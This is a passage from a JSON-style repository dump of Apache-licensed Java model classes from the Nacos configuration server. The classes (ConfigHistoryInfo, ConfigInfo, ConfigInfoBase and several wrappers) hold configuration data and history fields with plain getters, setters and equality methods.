    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.fasterxml.jackson.databind.annotation.JsonSerialize;\nimport com.fasterxml.jackson.databind.ser.std.ToStringSerializer;\n\nimport java.io.Serializable;\nimport java.sql.Timestamp;\nimport java.util.Objects;\n\n/**\n * ConfigHistoryInfo.\n *\n * @author Nacos\n */\npublic class ConfigHistoryInfo implements Serializable {\n    \n    private static final long serialVersionUID = -7827521105376245603L;\n    \n    @JsonSerialize(using = ToStringSerializer.class)\n    private long id;\n    \n    private long lastId = -1;\n    \n    private String dataId;\n    \n    private String group;\n    \n    private String tenant;\n    \n    private String appName;\n    \n    private String md5;\n    \n    private String content;\n    \n    private String srcIp;\n    \n    private String srcUser;\n    \n    /**\n     * Operation type, include inserting, updating and deleting.\n     */\n    private String opType;\n    \n    private String publishType;\n    \n    private String grayName;\n    \n    private String extInfo;\n    \n    private Timestamp createdTime;\n    \n    private Timestamp lastModifiedTime;\n    \n    private String encryptedDataKey;\n    \n    public long getId() {\n        return id;\n    }\n    \n    public void setId(long id) {\n        this.id = id;\n    }\n    \n    public long getLastId() {\n        return lastId;\n    }\n    \n    public void setLastId(long lastId) {\n        this.lastId = lastId;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public String getSrcIp() {\n        return srcIp;\n    }\n    \n    public void setSrcIp(String srcIp) {\n        this.srcIp = srcIp;\n    }\n    \n    public String getSrcUser() {\n        return srcUser;\n    }\n    \n    public void setSrcUser(String srcUser) {\n        this.srcUser = srcUser;\n    }\n    \n    public String getOpType() {\n        return opType;\n    }\n    \n    public void setOpType(String opType) {\n        this.opType = opType;\n    }\n    \n    public String getPublishType() {\n        return publishType;\n    }\n    \n    public void setPublishType(String publishType) {\n        this.publishType = publishType;\n    }\n    \n    public String getExtInfo() {\n        return extInfo;\n    }\n    \n    public void setExtInfo(String extInfo) {\n        this.extInfo = extInfo;\n    }\n    \n    public Timestamp getCreatedTime() {\n        return new Timestamp(createdTime.getTime());\n    }\n    \n    public void setCreatedTime(Timestamp createdTime) {\n        this.createdTime = new Timestamp(createdTime.getTime());\n    }\n    \n    public Timestamp getLastModifiedTime() {\n        return new Timestamp(lastModifiedTime.getTime());\n    }\n    \n    public void setLastModifiedTime(Timestamp lastModifiedTime) {\n        this.lastModifiedTime = new Timestamp(lastModifiedTime.getTime());\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ConfigHistoryInfo that = (ConfigHistoryInfo) o;\n        return id == that.id && lastId == that.lastId && Objects.equals(dataId, that.dataId) && Objects.equals(group,\n                that.group) && Objects.equals(tenant, that.tenant) && Objects.equals(appName, that.appName)\n                && Objects.equals(md5, that.md5) && Objects.equals(content, that.content) && Objects.equals(srcIp,\n                that.srcIp) && Objects.equals(srcUser, that.srcUser) && Objects.equals(opType, that.opType)\n                && Objects.equals(createdTime, that.createdTime) && Objects.equals(lastModifiedTime,\n                that.lastModifiedTime) && Objects.equals(encryptedDataKey, that.encryptedDataKey);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(id, lastId, dataId, group, tenant, appName, md5, content, srcIp, srcUser, opType,\n                createdTime, lastModifiedTime, encryptedDataKey);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigHistoryInfoDetail.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.sql.Timestamp;\n\n/**\n * ConfigHistoryInfoPair.\n *\n * @author dirtybit\n */\npublic class ConfigHistoryInfoDetail implements Serializable {\n    \n    private static final long serialVersionUID = -7827521105376245603L;\n    \n    private long id;\n    \n    private long lastId = -1;\n    \n    private String dataId;\n    \n    private String group;\n    \n    private String tenant;\n    \n    /**\n     * Operation type, include inserting, updating and deleting.\n     */\n    private String opType;\n    \n    private String publishType;\n    \n    private String grayName;\n    \n    private String appName;\n    \n    private String srcIp;\n    \n    private String srcUser;\n    \n    private String originalMd5;\n    \n    private String originalContent;\n    \n    private String originalEncryptedDataKey;\n    \n    private String originalExtInfo;\n    \n    private String updatedMd5;\n    \n    private String updatedContent;\n    \n    private String updatedEncryptedDataKey;\n    \n    private String updateExtInfo;\n    \n    private Timestamp createdTime;\n    \n    private Timestamp lastModifiedTime;\n    \n    public long getId() {\n        return id;\n    }\n    \n    public void setId(long id) {\n        this.id = id;\n    }\n    \n    public long getLastId() {\n        return lastId;\n    }\n    \n    public void setLastId(long lastId) {\n        this.lastId = lastId;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    public String getOpType() {\n        return opType;\n    }\n    \n    public void setOpType(String opType) {\n        this.opType = opType;\n    }\n    \n    public String getPublishType() {\n        return publishType;\n    }\n    \n    public void setPublishType(String publishType) {\n        this.publishType = publishType;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getSrcIp() {\n        return srcIp;\n    }\n    \n    public void setSrcIp(String srcIp) {\n        this.srcIp = srcIp;\n    }\n    \n    public String getSrcUser() {\n        return srcUser;\n    }\n    \n    public void setSrcUser(String srcUser) {\n        this.srcUser = srcUser;\n    }\n    \n    public String getOriginalMd5() {\n        return originalMd5;\n    }\n    \n    public void setOriginalMd5(String originalMd5) {\n        this.originalMd5 = originalMd5;\n    }\n    \n    public String getOriginalContent() {\n        return originalContent;\n    }\n    \n    public void setOriginalContent(String originalContent) {\n        this.originalContent = originalContent;\n    }\n    \n    public String getOriginalEncryptedDataKey() {\n        return originalEncryptedDataKey;\n    }\n    \n    public void setOriginalEncryptedDataKey(String originalEncryptedDataKey) {\n        this.originalEncryptedDataKey = originalEncryptedDataKey;\n    }\n    \n    public String getOriginalExtInfo() {\n        return originalExtInfo;\n    }\n    \n    public void setOriginalExtInfo(String originalExtInfo) {\n        this.originalExtInfo = originalExtInfo;\n    }\n    \n    public String getUpdatedMd5() {\n        return updatedMd5;\n    }\n    \n    public void setUpdatedMd5(String updatedMd5) {\n        this.updatedMd5 = updatedMd5;\n    }\n    \n    public String getUpdatedContent() {\n        return updatedContent;\n    }\n    \n    public void setUpdatedContent(String updatedContent) {\n        this.updatedContent = updatedContent;\n    }\n    \n    public String getUpdatedEncryptedDataKey() {\n        return updatedEncryptedDataKey;\n    }\n    \n    public void setUpdatedEncryptedDataKey(String updatedEncryptedDataKey) {\n        this.updatedEncryptedDataKey = updatedEncryptedDataKey;\n    }\n    \n    public String getUpdateExtInfo() {\n        return updateExtInfo;\n    }\n    \n    public void setUpdateExtInfo(String updateExtInfo) {\n        this.updateExtInfo = updateExtInfo;\n    }\n    \n    public Timestamp getCreatedTime() {\n        return createdTime;\n    }\n    \n    public void setCreatedTime(Timestamp createdTime) {\n        this.createdTime = createdTime;\n    }\n    \n    public Timestamp getLastModifiedTime() {\n        return lastModifiedTime;\n    }\n    \n    public void setLastModifiedTime(Timestamp lastModifiedTime) {\n        this.lastModifiedTime = lastModifiedTime;\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfo.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfo.\n *\n * @author boyan\n * @date 2010-5-4\n */\npublic class ConfigInfo extends ConfigInfoBase {\n    \n    static final long serialVersionUID = 3115358782431229202L;\n    \n    private String tenant;\n    \n    private String appName;\n    \n    private String type;\n    \n    private String desc;\n    \n    private String configTags;\n    \n    private Long gmtModified;\n    \n    public ConfigInfo() {\n    }\n    \n    public ConfigInfo(String dataId, String group, String content) {\n        super(dataId, group, content);\n    }\n    \n    public ConfigInfo(String dataId, String group, String appName, String content) {\n        super(dataId, group, content);\n        this.appName = appName;\n    }\n    \n    public ConfigInfo(String dataId, String group, String tenant, String appName, String content) {\n        super(dataId, group, content);\n        this.tenant = tenant;\n        this.appName = appName;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    public String getAppName() {\n        return appName;\n    }\n    \n    public void setAppName(String appName) {\n        this.appName = appName;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public void setType(String type) {\n        this.type = type;\n    }\n    \n    public String getDesc() {\n        return desc;\n    }\n    \n    public void setDesc(String desc) {\n        this.desc = desc;\n    }\n    \n    public String getConfigTags() {\n        return configTags;\n    }\n    \n    public void setConfigTags(String configTags) {\n        this.configTags = configTags;\n    }\n    \n    public Long getGmtModified() {\n        return gmtModified;\n    }\n    \n    public void setGmtModified(Long gmtModified) {\n        this.gmtModified = gmtModified;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConfigInfo{\" + \"id=\" + getId() + \", dataId='\" + getDataId() + '\\'' + \", group='\" + getGroup() + '\\''\n                + \", tenant='\" + tenant + '\\'' + \", appName='\" + appName + '\\'' + \", content='\" + getContent() + '\\''\n                + \", md5='\" + getMd5() + '\\'' + \", type='\" + type + '\\'' + \", desc='\" + desc + '\\'' \n                + \", configTags='\" + configTags + '\\'' + '}';\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfo4Beta.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfo4Beta.\n *\n * @author Nacos\n */\npublic class ConfigInfo4Beta extends ConfigInfo {\n    \n    private static final long serialVersionUID = 296578467953931353L;\n    \n    private String betaIps;\n    \n    public ConfigInfo4Beta() {\n    }\n    \n    public ConfigInfo4Beta(String dataId, String group, String appName, String content, String betaIps) {\n        super(dataId, group, appName, content);\n        this.betaIps = betaIps;\n    }\n    \n    public String getBetaIps() {\n        return betaIps;\n    }\n    \n    public void setBetaIps(String betaIps) {\n        this.betaIps = betaIps;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfo4Tag.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfo4Tag.\n *\n * @author Nacos\n */\npublic class ConfigInfo4Tag extends ConfigInfo {\n\n    private static final long serialVersionUID = 296578467953931353L;\n    \n    private String tag;\n    \n    public ConfigInfo4Tag() {\n    }\n    \n    public ConfigInfo4Tag(String dataId, String group, String tag, String appName, String content) {\n        super(dataId, group, appName, content);\n        this.tag = tag;\n    }\n    \n    public String getTag() {\n        return tag;\n    }\n    \n    public void setTag(String tag) {\n        this.tag = tag;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoBase.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.fasterxml.jackson.databind.annotation.JsonSerialize;\nimport com.fasterxml.jackson.databind.ser.std.ToStringSerializer;\n\nimport java.io.PrintWriter;\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * ConfigInfoBase.\n * And can't add field, to compatible with old interface(If adding a field, then it will occur compatibility problems).\n *\n * @author Nacos\n */\npublic class ConfigInfoBase implements Serializable, Comparable<ConfigInfoBase> {\n    \n    static final long serialVersionUID = 265316491795790798L;\n    \n    @JsonSerialize(using = ToStringSerializer.class)\n    private long id;\n    \n    private String dataId;\n    \n    private String group;\n    \n    private String content;\n    \n    private String md5;\n    \n    private String encryptedDataKey;\n    \n    public ConfigInfoBase() {\n    \n    }\n    \n    public ConfigInfoBase(String dataId, String group, String content) {\n        this.dataId = dataId;\n        this.group = group;\n        this.content = content;\n        if (this.content != null) {\n            this.md5 = MD5Utils.md5Hex(this.content, Constants.PERSIST_ENCODE);\n        }\n    }\n    \n    public long getId() {\n        return id;\n    }\n    \n    public void setId(long id) {\n        this.id = id;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public void dump(PrintWriter writer) {\n        writer.write(this.content);\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    @Override\n    public int compareTo(ConfigInfoBase o) {\n        if (o == null) {\n            return 1;\n        }\n        if (this.dataId == null) {\n            if (o.getDataId() == null) {\n                return 0;\n            } else {\n                return -1;\n            }\n        } else {\n            if (o.getDataId() == null) {\n                return 1;\n            } else {\n                int cmpDataId = this.dataId.compareTo(o.getDataId());\n                if (cmpDataId != 0) {\n                    return cmpDataId;\n                }\n            }\n        }\n        \n        if (this.group == null) {\n            if (o.getGroup() == null) {\n                return 0;\n            } else {\n                return -1;\n            }\n        } else {\n            if (o.getGroup() == null) {\n                return 1;\n            } else {\n                int cmpGroup = this.group.compareTo(o.getGroup());\n                if (cmpGroup != 0) {\n                    return cmpGroup;\n                }\n            }\n        }\n        \n        if (this.content == null) {\n            if (o.getContent() == null) {\n                return 0;\n            } else {\n                return -1;\n            }\n        } else {\n            if (o.getContent() == null) {\n                return 1;\n            } else {\n                int cmpContent = this.content.compareTo(o.getContent());\n                if (cmpContent != 0) {\n                    return cmpContent;\n                }\n            }\n        }\n        return 0;\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        if (this == obj) {\n            return true;\n        }\n        if (obj == null) {\n            return false;\n        }\n        if (getClass() != obj.getClass()) {\n            return false;\n        }\n        ConfigInfoBase other = (ConfigInfoBase) obj;\n        if (content == null) {\n            if (other.content != null) {\n                return false;\n            }\n        } else if (!content.equals(other.content)) {\n            return false;\n        }\n        if (dataId == null) {\n            if (other.dataId != null) {\n                return false;\n            }\n        } else if (!dataId.equals(other.dataId)) {\n            return false;\n        }\n        if (group == null) {\n            if (other.group != null) {\n                return false;\n            }\n        } else if (!group.equals(other.group)) {\n            return false;\n        }\n        if (md5 == null) {\n            if (other.md5 != null) {\n                return false;\n            }\n        } else if (!md5.equals(other.md5)) {\n            return false;\n        }\n        return true;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(dataId, group, content, md5);\n    }\n\n    @Override\n    public String toString() {\n        return \"ConfigInfoBase{\" + \"id=\" + id + \", dataId='\" + dataId + '\\'' + \", group='\" + group + '\\''\n                + \", content='\" + content + '\\'' + \", md5='\" + md5 + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoBaseEx.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfoBaseEx.\n * And can't add field, to compatible with old interface(If adding a field, then it will occur compatibility problems).\n *\n * @author Nacos\n */\npublic class ConfigInfoBaseEx extends ConfigInfoBase {\n    \n    private static final long serialVersionUID = 5802322506486922169L;\n    \n    /**\n     * Single message status code, when querying for batch.\n     * And details of message status code, you can see Constants.java.\n     */\n    private int status;\n    \n    /**\n     * Single message information, when querying for batch.\n     */\n    private String message;\n    \n    public ConfigInfoBaseEx() {\n        super();\n    }\n    \n    public ConfigInfoBaseEx(String dataId, String group, String content) {\n        super(dataId, group, content);\n    }\n    \n    public ConfigInfoBaseEx(String dataId, String group, String content, int status, String message) {\n        super(dataId, group, content);\n        this.status = status;\n        this.message = message;\n    }\n    \n    public int getStatus() {\n        return status;\n    }\n    \n    public void setStatus(int status) {\n        this.status = status;\n    }\n    \n    public String getMessage() {\n        return message;\n    }\n    \n    public void setMessage(String message) {\n        this.message = message;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConfigInfoBaseEx [status=\" + status + \", message=\" + message + \", dataId=\" + getDataId() + \", group()=\"\n                + getGroup() + \", content()=\" + getContent() + \"]\";\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoBetaWrapper.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfoBetaWrapper.\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class ConfigInfoBetaWrapper extends ConfigInfo4Beta {\n    \n    private static final long serialVersionUID = 4511997359365712505L;\n    \n    private long lastModified;\n    \n    public ConfigInfoBetaWrapper() {\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoChanged.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * ConfigInfoChanged.\n *\n * @author leiwen.zh\n */\npublic class ConfigInfoChanged implements Serializable {\n    \n    private static final long serialVersionUID = -1819539062100125171L;\n    \n    private String dataId;\n    \n    private String group;\n    \n    private String tenant;\n    \n    public ConfigInfoChanged(String dataId, String group, String tenant) {\n        this.dataId = dataId;\n        this.group = group;\n        this.setTenant(tenant);\n    }\n    \n    public ConfigInfoChanged() {\n    \n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        if (this == obj) {\n            return true;\n        }\n        if (obj == null) {\n            return false;\n        }\n        if (getClass() != obj.getClass()) {\n            return false;\n        }\n        ConfigInfoChanged other = (ConfigInfoChanged) obj;\n        if (dataId == null) {\n            if (other.dataId != null) {\n                return false;\n            }\n        } else if (!dataId.equals(other.dataId)) {\n            return false;\n        }\n        if (group == null) {\n            if (other.group != null) {\n                return false;\n            }\n        } else if (!group.equals(other.group)) {\n            return false;\n        }\n        return true;\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(dataId, group);\n    }\n\n    @Override\n    public String toString() {\n        return \"ConfigInfoChanged [dataId=\" + dataId + \", group=\" + group + \"]\";\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoEx.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfoEx.\n *\n * @author leiwen.zh\n */\npublic class ConfigInfoEx extends ConfigInfo {\n    \n    private static final long serialVersionUID = 8905036592920606608L;\n    \n    /**\n     * Single message status code, when querying for batch.\n     * And details of message status code, you can see Constants.java.\n     */\n    private int status;\n    \n    /**\n     * Single message information, when querying for batch.\n     */\n    private String message;\n    \n    public ConfigInfoEx() {\n        super();\n    }\n    \n    public ConfigInfoEx(String dataId, String group, String content) {\n        super(dataId, group, content);\n    }\n    \n    public ConfigInfoEx(String dataId, String group, String content, int status, String message) {\n        super(dataId, group, content);\n        this.status = status;\n        this.message = message;\n    }\n    \n    public int getStatus() {\n        return status;\n    }\n    \n    public void setStatus(int status) {\n        this.status = status;\n    }\n    \n    public String getMessage() {\n        return message;\n    }\n    \n    public void setMessage(String message) {\n        this.message = message;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n    \n    @Override\n    public String toString() {\n        return \"ConfigInfoEx [status=\" + status + \", message=\" + message + \", dataId=\" + getDataId() + \", group=\"\n                + getGroup() + \", appName=\" + getAppName() + \", content=\" + getContent() + \"]\";\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoGrayWrapper.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\n/**\n * ConfigInfoGrayWrapper.\n *\n * @author rong\n */\npublic class ConfigInfoGrayWrapper extends ConfigInfo  {\n    \n    private static final long serialVersionUID = 4511997591465712505L;\n    \n    private long lastModified;\n    \n    private String grayName;\n    \n    private String grayRule;\n    \n    private String srcUser;\n    \n    public ConfigInfoGrayWrapper() {\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n    public String getGrayName() {\n        return grayName;\n    }\n    \n    public void setGrayName(String grayName) {\n        this.grayName = grayName;\n    }\n    \n    public String getGrayRule() {\n        return grayRule;\n    }\n    \n    public void setGrayRule(String grayRule) {\n        this.grayRule = grayRule;\n    }\n    \n    public String getSrcUser() {\n        return srcUser;\n    }\n    \n    public void setSrcUser(String srcUser) {\n        this.srcUser = srcUser;\n    }\n    \n    @Override\n    public int hashCode() {\n        return super.hashCode();\n    }\n    \n    @Override\n    public boolean equals(Object obj) {\n        return super.equals(obj);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/model/ConfigInfoStateWrapper.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * ConfigInfoStateWrapper. include id，dataId，group，tenant，lastModified.\n *\n * @author zunfei.lzf\n */\npublic class ConfigInfoStateWrapper implements Serializable {\n    \n    private long id;\n    \n    private String dataId;\n    \n    private String group;\n    \n    private String tenant;\n    \n    private long lastModified;\n    \n    private String md5;\n    \n    private String grayName;\n    \n    public long getId() {\n        return id;\n    }\n    \n    public void setId(long id) {\n        this.id = id;\n    }\n    \n    public String getDataId() 